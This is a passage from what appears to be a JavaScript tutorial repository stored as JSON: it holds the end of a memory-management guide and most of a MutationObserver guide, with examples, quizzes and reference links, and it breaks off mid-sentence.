overhead)\n  </Step>\n  \n  <Step title=\"Take a Snapshot\">\n    Click **Take snapshot** to capture the heap\n  </Step>\n  \n  <Step title=\"Analyze Results\">\n    Look for:\n    - Objects with high **Retained Size** (memory they keep alive)\n    - Unexpected objects that should have been garbage collected\n    - Detached DOM nodes (search for \"Detached\")\n  </Step>\n</Steps>\n\n### Finding Detached DOM Nodes\n\nDetached DOM nodes are elements removed from the document but still referenced in JavaScript:\n\n```javascript\n// This creates a detached DOM tree\nlet detachedNodes = [];\n\nfunction leakMemory() {\n  const div = document.createElement('div');\n  div.innerHTML = '<span>Lots of content...</span>'.repeat(1000);\n  detachedNodes.push(div);  // Never added to DOM, but kept in array\n}\n```\n\n**To find them in DevTools:**\n1. Take a heap snapshot\n2. In the filter box, type \"Detached\"\n3. Look for `Detached HTMLDivElement`, etc.\n4. Click to see what's retaining them\n\n### Comparing Snapshots\n\nTo find memory leaks:\n\n1. Take a snapshot (baseline)\n2. Perform the action you suspect leaks memory\n3. Take another snapshot\n4. Select the second snapshot\n5. Change view to \"Comparison\" and select the first snapshot\n6. Look for objects that increased unexpectedly\n\n---\n\n## Best Practices for Memory-Efficient Code\n\n<AccordionGroup>\n  <Accordion title=\"1. Nullify References When Done\">\n    Help the garbage collector by explicitly removing references to large objects when you're done with them.\n    \n    ```javascript\n    function processLargeData() {\n      let data = loadHugeDataset();\n      const result = analyze(data);\n      \n      data = null;  // Allow GC to free the dataset\n      \n      return result;\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Use Object Pools for Frequent Allocations\">\n    Reuse objects instead of creating new ones in performance-critical code.\n    \n    ```javascript\n    class ParticlePool {\n      constructor(size) {\n        this.pool = Array.from({ length: size }, () => ({\n          x: 0, y: 0, vx: 0, vy: 0, active: false\n        }));\n      }\n      \n      acquire() {\n        const particle = this.pool.find(p => !p.active);\n        if (particle) particle.active = true;\n        return particle;\n      }\n      \n      release(particle) {\n        particle.active = false;\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Avoid Creating Functions in Loops\">\n    Functions created in loops allocate new function objects each iteration.\n    \n    ```javascript\n    // ❌ BAD: Creates new function every iteration\n    items.forEach(item => {\n      element.addEventListener('click', () => handle(item));\n    });\n    \n    // ✅ GOOD: Create handler once\n    function createHandler(item) {\n      return () => handle(item);\n    }\n    // Or use a single delegated handler\n    container.addEventListener('click', (e) => {\n      const item = e.target.closest('[data-item]');\n      if (item) handle(item.dataset.item);\n    });\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Be Careful with String Concatenation\">\n    Strings are immutable; concatenation creates new strings.\n    \n    ```javascript\n    // ❌ BAD: Creates many intermediate strings\n    let result = '';\n    for (let i = 0; i < 10000; i++) {\n      result += 'item ' + i + ', ';\n    }\n    \n    // ✅ GOOD: Build array, join once\n    const parts = [];\n    for (let i = 0; i < 10000; i++) {\n      parts.push(`item ${i}`);\n    }\n    const result = parts.join(', ');\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. Clean Up in Lifecycle Methods\">\n    In frameworks like React, Vue, or Angular, always clean up in the appropriate lifecycle method.\n    \n    ```javascript\n    // React example\n    useEffect(() => {\n      const subscription = dataSource.subscribe(handleData);\n      \n      return () => {\n        subscription.unsubscribe();  // Cleanup on unmount\n      };\n    }, []);\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about Memory Management:**\n\n1. **JavaScript manages memory automatically** — You don't allocate or free memory manually, but you must understand how it works to avoid leaks\n\n2. **Memory lifecycle has three phases** — Allocation (automatic), use (your code), and release (garbage collection)\n\n3. **Stack is for primitives, heap is for objects** — Primitives and references live on the stack; objects live on the heap\n\n4. **Reachability determines garbage collection** — Objects are freed when they can't be reached from roots (global variables, current function stack)\n\n5. **Mark-and-sweep is the algorithm** — The GC marks all reachable objects, then sweeps away the rest\n\n6. **Common leaks: globals, timers, DOM refs, closures, listeners** — These patterns keep objects reachable unintentionally\n\n7. **WeakMap and WeakSet prevent leaks** — They hold weak references that don't prevent garbage collection\n\n8. **DevTools Memory panel finds leaks** — Use heap snapshots and comparisons to identify retained objects\n\n9. **Explicitly null references to large objects** — Help the GC by breaking references when you're done\n\n10. **Clean up event listeners and timers** — Always remove listeners and clear intervals when components unmount\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What are the three phases of the memory lifecycle?\">\n    **Answer:** The three phases are:\n    \n    1. **Allocation** — Memory is reserved when you create values (automatic in JavaScript)\n    2. **Use** — Your code reads and writes to allocated memory\n    3. **Release** — Memory is freed when no longer needed (handled by garbage collection)\n    \n    In JavaScript, phases 1 and 3 are automatic, while phase 2 is controlled by your code.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the difference between stack and heap memory?\">\n    **Answer:**\n    \n    | Stack | Heap |\n    |-------|------|\n    | Stores primitives and references | Stores objects |\n    | Fixed size, fast access | Dynamic size, slower access |\n    | LIFO order, auto-managed | Managed by garbage collector |\n    | Freed when function returns | Freed when unreachable |\n    \n    ```javascript\n    function example() {\n      const num = 42;           // Stack (primitive)\n      const obj = { x: 1 };     // Heap (object)\n      const ref = obj;          // Stack (reference to heap object)\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why does this code cause a memory leak?\">\n    ```javascript\n    const buttons = document.querySelectorAll('button');\n    const handlers = [];\n    \n    buttons.forEach(button => {\n      const handler = () => console.log('clicked');\n      button.addEventListener('click', handler);\n      handlers.push(handler);\n    });\n    ```\n    \n    **Answer:** This code causes a memory leak because:\n    \n    1. Event listeners are never removed\n    2. Handler functions are stored in the `handlers` array\n    3. Even if buttons are removed from the DOM, they can't be garbage collected because:\n       - The `handlers` array keeps references to the handler functions\n       - The handler functions are attached to the buttons\n       \n    **Fix:** Remove event listeners and clear the array when buttons are removed:\n    \n    ```javascript\n    function cleanup() {\n      buttons.forEach((button, i) => {\n        button.removeEventListener('click', handlers[i]);\n      });\n      handlers.length = 0;\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: When would you use WeakMap instead of Map?\">\n    **Answer:** Use `WeakMap` when:\n    \n    1. **Keys are objects** that may be garbage collected\n    2. **You're associating metadata** with objects owned by other code\n    3. **You don't want your map to prevent garbage collection** of the keys\n    \n    ```javascript\n    // Storing computed data for DOM elements\n    const elementData = new WeakMap();\n    \n    function processElement(el) {\n      if (!elementData.has(el)) {\n        elementData.set(el, computeExpensiveData(el));\n      }\n      return elementData.get(el);\n    }\n    \n    // When el is removed from DOM and dereferenced,\n    // its entry in elementData is automatically cleaned up\n    ```\n    \n    Use regular `Map` when you need to iterate over entries or when keys are primitives.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What does 'Detached' mean in Chrome DevTools heap snapshots?\">\n    **Answer:** \"Detached\" refers to DOM elements that have been removed from the document tree but are still retained in JavaScript memory because some code still holds a reference to them.\n    \n    Common causes:\n    - Storing DOM elements in arrays or objects\n    - Event handlers that reference removed elements via closures\n    - Caches that hold DOM element references\n    \n    To find them:\n    1. Take a heap snapshot in DevTools Memory panel\n    2. Filter for \"Detached\"\n    3. Examine what's retaining each detached element\n    4. Remove those references in your code\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How does mark-and-sweep garbage collection work?\">\n    **Answer:** Mark-and-sweep works in two phases:\n    \n    **Mark phase:**\n    1. Start from \"roots\" (global variables, current call stack)\n    2. Visit all objects reachable from roots\n    3. Mark each visited object as \"alive\"\n    4. Follow references to mark objects reachable from marked objects\n    5. Continue until all reachable objects are marked\n    \n    **Sweep phase:**\n    1. Scan through all objects in memory\n    2. Delete any object that wasn't marked\n    3. Reclaim that memory for future allocations\n    \n    This approach handles circular references correctly — if two objects reference each other but neither is reachable from a root, both are collected.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What causes memory leaks in JavaScript?\">\n    The most common causes are forgotten event listeners, uncleared timers and intervals, detached DOM elements still referenced in JavaScript, closures that capture large objects, and unbounded caches. According to Chrome DevTools documentation, detached DOM nodes are one of the most frequently identified leak sources in heap snapshot analysis.\n  </Accordion>\n\n  <Accordion title=\"How do you detect memory leaks in JavaScript?\">\n    Use the Chrome DevTools Memory panel to take heap snapshots and compare them over time. Look for objects with unexpectedly high retained size, detached DOM nodes, and growing object counts between snapshots. The Allocation Timeline tool helps identify where allocations originate in your code.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between stack and heap memory in JavaScript?\">\n    The stack stores primitive values and function call frames with fast, ordered LIFO access. The heap stores objects, arrays, and functions with dynamic sizing managed by the garbage collector. Variables on the stack hold references (pointers) to objects in the heap, which is why reassigning an object variable doesn't copy the object.\n  </Accordion>\n\n  <Accordion title=\"Does JavaScript have manual memory management?\">\n    No. JavaScript uses automatic memory management through garbage collection. The ECMAScript specification does not expose any API for manual allocation or deallocation. However, you can help the garbage collector by nullifying references to large objects when done and cleaning up event listeners and timers.\n  </Accordion>\n\n  <Accordion title=\"How much memory can a JavaScript application use?\">\n    There is no fixed limit defined by the language. Browser tabs typically have access to 1–4 GB of heap memory depending on the device and browser. Node.js defaults to approximately 1.5 GB on 64-bit systems but can be increased with the `--max-old-space-size` flag. MDN recommends profiling regularly to avoid exceeding practical limits.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Garbage Collection\" icon=\"recycle\" href=\"/beyond/concepts/garbage-collection\">\n    Deep dive into garbage collection algorithms and optimization\n  </Card>\n  <Card title=\"WeakMap & WeakSet\" icon=\"key\" href=\"/beyond/concepts/weakmap-weakset\">\n    Memory-safe collections with weak references\n  </Card>\n  <Card title=\"Call Stack\" icon=\"layer-group\" href=\"/concepts/call-stack\">\n    How stack memory is used during function execution\n  </Card>\n  <Card title=\"Scope & Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    How closures affect memory retention\n  </Card>\n</CardGroup>\n\n---\n\n## References\n\n<CardGroup cols={2}>\n  <Card title=\"Memory Management — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management\">\n    Official MDN documentation on JavaScript memory management and garbage collection\n  </Card>\n  <Card title=\"WeakMap — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap\">\n    Documentation for WeakMap, a memory-efficient key-value collection\n  </Card>\n  <Card title=\"WeakRef — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef\">\n    Documentation for WeakRef, allowing weak references to objects\n  </Card>\n  <Card title=\"FinalizationRegistry — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/FinalizationRegistry\">\n    Register callbacks when objects are garbage collected\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Garbage Collection — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/garbage-collection\">\n    Excellent illustrated guide to how garbage collection works with the mark-and-sweep algorithm. Clear diagrams showing reachability.\n  </Card>\n  <Card title=\"Fix Memory Problems — Chrome DevTools\" icon=\"wrench\" href=\"https://developer.chrome.com/docs/devtools/memory-problems\">\n    Official Chrome guide to identifying memory leaks, using heap snapshots, and profiling allocation timelines.\n  </Card>\n  <Card title=\"Memory Management Masterclass — Auth0\" icon=\"graduation-cap\" href=\"https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/\">\n    Comprehensive walkthrough of the four most common JavaScript memory leak patterns with practical solutions.\n  </Card>\n  <Card title=\"A Tour of V8: Garbage Collection\" icon=\"engine\" href=\"https://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection\">\n    Deep dive into how V8's garbage collector works, including generational collection and incremental marking.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Memory Management Crash Course\" icon=\"video\" href=\"https://www.youtube.com/watch?v=LaxbdIyBkL0\">\n    Traversy Media's beginner-friendly introduction to memory management, stack vs heap, and garbage collection basics.\n  </Card>\n  <Card title=\"Memory Leaks Demystified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=slV0zdUEYJw\">\n    Google Chrome Developers explain how to find and fix memory leaks using DevTools, with real-world examples.\n  </Card>\n  <Card title=\"V8 Memory Deep Dive\" icon=\"video\" href=\"https://www.youtube.com/watch?v=aQ9dRKqk1ks\">\n    Advanced talk from BlinkOn covering V8's memory architecture, generational GC, and performance optimizations.\n  </Card>\n  <Card title=\"JavaScript Memory: Heap, Stack, and Garbage Collection\" icon=\"video\" href=\"https://www.youtube.com/watch?v=8Vwl4F3B60Y\">\n    Visual explanation of how JavaScript allocates memory and the differences between stack and heap storage.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/mutation-observer.mdx",
    "content": "---\ntitle: \"MutationObserver in JavaScript\"\nsidebarTitle: \"MutationObserver: Watching DOM Changes\"\ndescription: \"Learn the MutationObserver API in JavaScript. Watch DOM changes, detect attribute modifications, and build reactive UIs.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Observer APIs\"\n\"article:tag\": \"mutationobserver, dom changes, attribute modifications, reactive ui, dom monitoring\"\n---\n\nHow do you know when something changes in the DOM? What if you need to react when a third-party script adds elements, when user input modifies content, or when attributes change dynamically?\n\n```javascript\n// Watch for any changes to a DOM element\nconst observer = new MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    console.log('Something changed!', mutation.type)\n  }\n})\n\nobserver.observe(document.body, {\n  childList: true,   // Watch for added/removed children\n  subtree: true      // Watch all descendants too\n})\n```\n\nThe **[MutationObserver](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver)** API lets you watch the DOM for changes and react to them efficiently. It replaced the older, performance-killing Mutation Events and is now the standard way to detect DOM modifications.\n\n<Info>\n**What you'll learn in this guide:**\n- What MutationObserver is and why it replaced Mutation Events\n- How to configure exactly what changes to observe\n- Watching child nodes, attributes, and text content\n- Using the subtree option for deep observation\n- Processing MutationRecords to understand what changed\n- Disconnecting observers properly for cleanup\n- Real-world use cases and patterns\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you're comfortable with [DOM manipulation](/concepts/dom) and basic JavaScript. Understanding the [Event Loop](/concepts/event-loop) helps but isn't required.\n</Warning>\n\n---\n\n## What is MutationObserver?\n\nA **MutationObserver** is a built-in JavaScript object that watches a DOM element and fires a callback whenever specified changes occur. It provides an efficient, asynchronous way to react to DOM mutations without constantly polling or using deprecated event listeners.\n\nThink of it as setting up a security camera for your DOM. You tell it what to watch (an element), what changes you care about (children added, attributes changed, text modified), and what to do when something happens (your callback function).\n\n### Why Not Just Use Events?\n\nYou might wonder: \"Why not just listen for events?\" The problem is that most DOM changes don't fire events you can listen to:\n\n```javascript\n// These changes happen silently - no events fired!\nelement.setAttribute('data-active', 'true')\nelement.textContent = 'New text'\nelement.appendChild(newChild)\n\n// There's no \"attributechange\" or \"childadded\" event to listen for\nelement.addEventListener('attributechange', handler)  // This doesn't exist!\n```\n\nBefore MutationObserver, developers used **Mutation Events** (`DOMNodeInserted`, `DOMAttrModified`, etc.), but these had serious problems:\n\n| Problem | Impact |\n|---------|--------|\n| Fired synchronously | Blocked the main thread during DOM operations |\n| Fired too often | Every single change triggered an event |\n| Performance killer | Made complex DOM updates painfully slow |\n| Bubbled up the DOM | Caused cascade of unnecessary handlers |\n\nMutationObserver solves all of these by batching changes and delivering them asynchronously via microtasks. As the [original Mozilla Hacks blog post](https://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/) explains, this redesign was driven by real-world performance problems that Mutation Events caused in complex web applications.\n\n---\n\n## The Security Camera Analogy\n\nImagine you're setting up security cameras in a building:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE SECURITY CAMERA ANALOGY                           │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   YOUR DOM                                MUTATIONOBSERVER               │\n│   ┌──────────────────────┐               ┌──────────────────┐           │\n│   │                      │               │                  │           │\n│   │  ┌────────────────┐  │    watches    │   📹 Camera      │           │\n│   │  │  <div>         │◄─┼───────────────┤                  │           │\n│   │  │    <p>Hi</p>   │  │               │   Config:        │           │\n│   │  │    <span/>     │  │               │   - children ✓   │           │\n│   │  │  </div>        │  │               │   - attributes ✓ │           │\n│   │  └────────────────┘  │               │   - text ✓       │           │\n│   │                      │               │                  │           │\n│   └──────────────────────┘               └────────┬─────────┘           │\n│                                                   │                      │\n│                                                   │ detects changes      │\n│                                                   ▼                      │\n│                                          ┌──────────────────┐           │\n│                                          │  YOUR CALLBACK   │           │\n│                                          │                  │           │\n│                                          │  \"A child was    │           │\n│                                          │   added!\"        │           │\n│                                          │  \"Attribute      │           │\n│                                          │   changed!\"      │           │\n│                                          └──────────────────┘           │\n│                                                                          │\n│   Just like a security camera:                                           │\n│   • You choose WHAT to watch (which element)                             │\n│   • You choose WHAT to detect (motion, faces, etc. = children, attrs)    │\n│   • You get NOTIFIED when something happens (callback with details)      │\n│   • You can STOP watching anytime (disconnect)                           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nThe key insight: you're not constantly checking \"did something change?\" (polling). Instead, you set up the observer once, and it tells YOU when changes happen.\n\n---\n\n## Creating a MutationObserver\n\nSetting up a MutationObserver takes three steps:\n\n<Steps>\n  <Step title=\"Create the observer with a callback\">\n    The callback receives an array of [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) objects describing what changed.\n    \n    ```javascript\n    const observer = new MutationObserver((mutations, obs) => {\n      // mutations = array of MutationRecord objects\n      // obs = the observer itself (useful for disconnecting)\n      console.log(`${mutations.length} changes detected`)\n    })\n    ```\n  </Step>\n  \n  <Step title=\"Start observing with configuration\">\n    Call `observe()` with the target element and an options object specifying what to watch.\n    \n    ```javascript\n    const targetElement = document.getElementById('app')\n    \n    observer.observe(targetElement, {\n      childList: true,    // Watch for added/removed children\n      attributes: true,   // Watch for attribute changes\n      characterData: true // Watch for text content changes\n    })\n    ```\n  </Step>\n  \n  <Step title=\"Handle the mutations in your callback\">\n    Each [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) tells you exactly what changed.\n    \n    ```javascript\n    const observer = new MutationObserver((mutations) => {\n      for (const mutation of mutations) {\n        if (mutation.type === 'childList') {\n          console.log('Children changed!')\n          console.log('Added:', mutation.addedNodes)\n          console.log('Removed:', mutation.removedNodes)\n        }\n        if (mutation.type === 'attributes') {\n          console.log(`Attribute \"${mutation.attributeName}\" changed`)\n        }\n      }\n    })\n    ```\n  </Step>\n</Steps>\n\n---\n\n## Configuration Options\n\nThe second argument to `observe()` is a [MutationObserverInit](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver/observe#options) object that controls what changes to watch. At least one of `childList`, `attributes`, or `characterData` must be `true`.\n\n### The Core Options\n\n| Option | Type | What It Watches |\n|--------|------|-----------------|\n| `childList` | boolean | Adding or removing child nodes |\n| `attributes` | boolean | Changes to element attributes |\n| `characterData` | boolean | Changes to text node content |\n| `subtree` | boolean | Apply options to ALL descendants, not just direct children |\n\n### Additional Options\n\n| Option | Type | What It Does |\n|--------|------|--------------|\n| `attributeOldValue` | boolean | Include the old attribute value in the MutationRecord |\n| `characterDataOldValue` | boolean | Include the old text content in the MutationRecord |\n| `attributeFilter` | string[] | Only watch specific attributes (e.g., `['class', 'data-id']`) |\n\n### Common Configuration Patterns\n\n<Tabs>\n  <Tab title=\"Watch Children Only\">\n    ```javascript\n    // Detect when elements are added or removed\n    observer.observe(container, {\n      childList: true\n    })\n    \n    // Triggers when:\n    container.appendChild(newElement)     // ✓\n    container.removeChild(existingChild)  // ✓\n    container.innerHTML = '<p>New</p>'    // ✓\n    container.setAttribute('class', 'x')  // ✗ (not watching attributes)\n    ```\n  </Tab>\n  \n  <Tab title=\"Watch Attributes Only\">\n    ```javascript\n    // Detect attribute changes\n    observer.observe(element, {\n      attributes: true,\n      attributeOldValue: true  // Optional: get the previous value\n    })\n    \n    // Triggers when:\n    element.setAttribute('data-active', 'true')  // ✓\n    element.classList.add('highlight')           // ✓\n    element.id = 'new-id'                        // ✓\n    element.textContent = 'New text'             // ✗ (not watching characterData)\n    ```\n  </Tab>\n  \n  <Tab title=\"Watch Specific Attributes\">\n    ```javascript\n    // Only care about certain attributes\n    observer.observe(element, {\n      attributes: true,\n      attributeFilter: ['class', 'data-state', 'aria-expanded']\n    })\n    \n    // Triggers when:\n    element.classList.toggle('active')        // ✓ (class is in filter)\n    element.dataset.state = 'loading'         // ✓ (data-state is in filter)\n    element.setAttribute('title', 'Hello')    // ✗ (title not in filter)\n    ```\n  </Tab>\n  \n  <Tab title=\"Watch Everything Deeply\">\n    ```javascript\n    // Watch the entire subtree for all changes\n    observer.observe(document.body, {\n      childList: true,\n      attributes: true,\n      characterData: true,\n      subtree: true,              // Watch ALL descendants\n      attributeOldValue: true,\n      characterDataOldValue: true\n    })\n    \n    // Triggers for ANY change anywhere in the body!\n    // Use with caution - can be expensive\n    ```\n  </Tab>\n</Tabs>\n\n<Warning>\n**Performance tip:** Be specific about what you watch. Observing `document.body` with `subtree: true` and all options enabled will fire for EVERY DOM change on the page. Only watch what you need.\n</Warning>\n\n---\n\n## Understanding MutationRecords\n\nWhen your callback fires, it receives an array of [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) objects. Each record describes a single mutation.\n\n### MutationRecord Properties\n\n| Property | Description |\n|----------|-------------|\n| `type` | The type of mutation: `\"childList\"`, `\"attributes\"`, or `\"characterData\"` |\n| `target` | The element (or text node) that was mutated |\n| `addedNodes` | NodeList of added nodes (for `childList` mutations) |\n| `removedNodes` | NodeList of removed nodes (for `childList` mutations) |\n| `previousSibling` | Previous sibling of added/removed nodes |\n| `nextSibling` | Next sibling of added/removed nodes |\n| `attributeName` | Name of the changed attribute (for `attributes` mutations) |\n| `attributeNamespace` | Namespace of the changed attribute (for namespaced attributes) |\n| `oldValue` | Previous value (if `attributeOldValue` or `characterDataOldValue` was set) |\n\n### Processing Different Mutation Types\n\n```javascript\nconst observer = new MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    switch (mutation.type) {\n      case 'childList':\n        // Nodes were added or removed\n        mutation.addedNodes.forEach(node => {\n          if (node.nodeType === Node.ELEMENT_NODE) {\n            console.log('Element added:', node.tagName)\n          }\n        })\n        mutation.removedNodes.forEach(node => {\n          if (node.nodeType === Node.ELEMENT_NODE) {\n            console.log('Element removed:', node.tagName)\n          }\n        })\n        break\n        \n      case 'attributes':\n        // An attribute changed\n        console.log(\n          `Attribute \"${mutation.attributeName}\" changed on`,\n          mutation.target,\n          `from \"${mutation.oldValue}\" to \"${mutation.target.getAttribute(mutation.attributeName)}\"`\n        )\n        break\n        \n      case 'characterData':\n        // Text content changed\n        console.log(\n          'Text changed from',\n          `\"${mutation.oldValue}\" to \"${mutation.target.textContent}\"`\n        )\n        break\n    }\n  }\n})\n\nobserver.observe(element, {\n  childList: true,\n  attributes: true,\n  characterData: true,\n  subtree: true,\n  attributeOldValue: true,\n  characterDataOldValue: true\n})\n```\n\n<Tip>\n**Quick tip:** `addedNodes` and `removedNodes` include ALL node types, including text nodes and comments. Filter by `nodeType === Node.ELEMENT_NODE` if you only care about elements.\n</Tip>\n\n---\n\n## The Subtree Option\n\nBy default, MutationObserver only watches the direct children of the target element. The `subtree: true` option extends observation to ALL descendants.\n\n```javascript\n// Without subtree - only watches direct children\nobserver.observe(parent, { childList: true })\n\n// parent\n// ├── child1     ← Watched\n// │   └── grandchild1  ← NOT watched\n// └── child2     ← Watched\n//     └── grandchild2  ← NOT watched\n\n\n// With subtree - watches entire tree\nobserver.observe(parent, { childList: true, subtree: true })\n\n// parent\n// ├── child1     ← Watched\n// │   └── grandchild1  ← Watched\n// └── child2     ← Watched\n//     └── grandchild2  ← Watched\n```\n\n### When to Use Subtree\n\n| Use Case | subtree? | Why |\n|----------|----------|-----|\n| Watch a specific container for new items | No | Only direct children matter |\n| Detect any DOM change in an app | Yes | Changes can happen anywhere |\n| Watch for specific elements appearing | Yes | They might be nested |\n| Track attribute changes on one element | No | Only the target matters |\n\n---\n\n## Disconnecting and Cleanup\n\nAlways disconnect observers when you're done with them. This prevents memory leaks and unnecessary processing.\n\n### The disconnect() Method\n\n```javascript\nconst observer = new MutationObserver(callback)\nobserver.observe(element, { childList: true })\n\n// Later, when you're done watching\nobserver.disconnect()\n\n// The callback will no longer fire for any changes\n```\n\n### The takeRecords() Method\n\nIf you need to process pending mutations before disconnecting, use [takeRecords()](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver/takeRecords):\n\n```javascript\n// Get any mutations that haven't been delivered to the callback yet\nconst pendingMutations = observer.takeRecords()\n\n// Process them manually\nfor (const mutation of pendingMutations) {\n  console.log('Pending mutation:', mutation.type)\n}\n\n// Now disconnect\nobserver.disconnect()\n```\n\n### Cleanup Pattern for Components\n\n```javascript\nclass MyComponent {\n  constructor(element) {\n    this.element = element\n    this.observer = new MutationObserver(this.handleMutations.bind(this))\n    this.observer.observe(element, { childList: true, subtree: true })\n  }\n  \n  handleMutations(mutations) {\n    // Process mutations\n  }\n  \n  destroy() {\n    // Always clean up!\n    this.observer.disconnect()\n    this.observer = null\n  }\n}\n```\n\n<Warning>\n**Memory leak alert:** Forgetting to disconnect observers on removed elements can cause memory leaks. Always disconnect when the observed element is removed from the DOM or when your component is destroyed.\n</Warning>\n\n---\n\n## When Callbacks Run: Microtasks\n\nMutationObserver callbacks are scheduled as **microtasks**, meaning they run after the current script but before the browser renders. According to the [WHATWG HTML specification](https://html.spec.whatwg.org/multipage/webappapis.html#mutation-observers), this batching behavior is intentional — it allows multiple DOM changes to be processed in a single callback invocation. This is the same queue as Promise callbacks.\n\n```javascript\nconsole.log('1. Script start')\n\nconst observer = new MutationObserver(() => {\n  console.log('3. MutationObserver callback')\n})\nobserver.observe(document.body, { childList: true })\n\ndocument.body.appendChild(document.createElement('div'))\n\nPromise.resolve().then(() => {\n  console.log('2. Promise callback')\n})\n\nconsole.log('4. Script end')\n\n// Output:\n// 1. Script start\n// 4. Script end\n// 2. Promise callback\n// 3. MutationObserver callback\n```\n\nThis means:\n- Your callback runs AFTER the DOM changes are complete\n- Multiple rapid changes are batched into a single callback\n- The callback runs BEFORE the browser paints\n\n---\n\n## Real-World Use Cases\n\n### 1. Lazy Loading Images\n\nWatch for images entering the DOM and load them:\n\n```javascript\nconst imageObserver = new MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    for (const node of mutation.addedNodes) {\n      if (node.nodeType !== Node.ELEMENT_NODE) continue\n      \n      // Check if the added node is an image with data-src\n      if (node.matches('img[data-src]')) {\n        loadImage(node)\n      }\n      \n      // Also check children of the added node\n      node.querySelectorAll('img[data-src]').forEach(loadImage)\n    }\n  }\n})\n\nfunction loadImage(img) {\n  img.src = img.dataset.src\n  img.removeAttribute('data-src')\n}\n\nimageObserver.observe(document.body, {\n  childList: true,\n  subtree: true\n})\n```\n\n### 2. Syntax Highlighting Dynamic Code\n\nAutomatically highlight code blocks added to the page:\n\n```javascript\nconst codeObserver = new MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    for (const node of mutation.addedNodes) {\n      if (node.nodeType !== Node.ELEMENT_NODE) continue\n      \n      // Find code blocks in the added content\n      const codeBlocks = node.matches('pre code') \n        ? [node] \n        : node.querySelectorAll('pre code')\n      \n      codeBlocks.forEach(block => {\n        if (!block.dataset.highlighted) {\n          Prism.highlightElement(block)\n          block.dataset.highlighted = 'true'\n        }\n      })\n    }\n  }\n})\n\ncodeObserver.observe(document.getElementById('content'), {\n  childList: true,\n  subtree: true\n})\n```\n\n### 3. Removing Unwanted Elements\n\nBlock ads or unwanted elements injected by third-party scripts:\n\n```javascript\nconst adBlocker = new MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    for (const node of mutation.addedNodes) {\n      if (node.nodeType !== Node.ELEMENT_NODE) continue\n      \n      if (node.matches('.ad-banner, [data-ad], .sponsored')) {\n        node.remove()\n        console.log('Blocked unwanted element')\n      }\n    }\n  }\n})\n\nadBlocker.observe(document.body, {\n  childList: true,\n  subtree: true\n})\n```\n\n### 4. Auto-Saving Form Changes\n\nDetect when form content changes and trigger auto-save:\n\n```javascript\nconst form = document.getElementById('editor-form')\nlet saveTimeout\n\nconst formObserver = new MutationObserver(() => {\n  // Debounce the save\n  clearTimeout(saveTimeout)\n  saveTimeout = setTimeout(() => {\n    saveFormData(form)\n  }, 1000)\n})\n\nformObserver.observe(form, {\n  childList: true,\n  subtree: true,\n  attributes: true,\n  characterData: true\n})\n\nfunction saveFormData(form) {\n  const data = new FormData(form)\n  console.log('Auto-saving...', Object.fromEntries(data))\n  // Send to server\n}\n```\n\n### 5. Tracking Class Changes\n\nReact to CSS class changes for animations or state:\n\n```javascript\nconst element = document.getElementById('panel')\n\nconst classObserver = new MutationObserver((mutations) => {\n  for (const mutation of mutations) {\n    if (mutation.attributeName === 'class') {\n      const currentClasses = mutation.target.classList\n      \n      if (currentClasses.contains('expanded')) {\n        console.log('Panel expanded!')\n        loadPanelContent()\n      } else {\n        console.log('Panel collapsed!')\n      }\n    }\n  }\n})\n\nclassObserver.observe(element, {\n  attributes: true,\n  attributeFilter: ['class']\n})\n```\n\n---\n\n## Common Mistakes\n\n### Mistake 1: Not Filtering Node Types\n\n```javascript\n// ❌ WRONG - processes text nodes and comments too\nconst observer = new 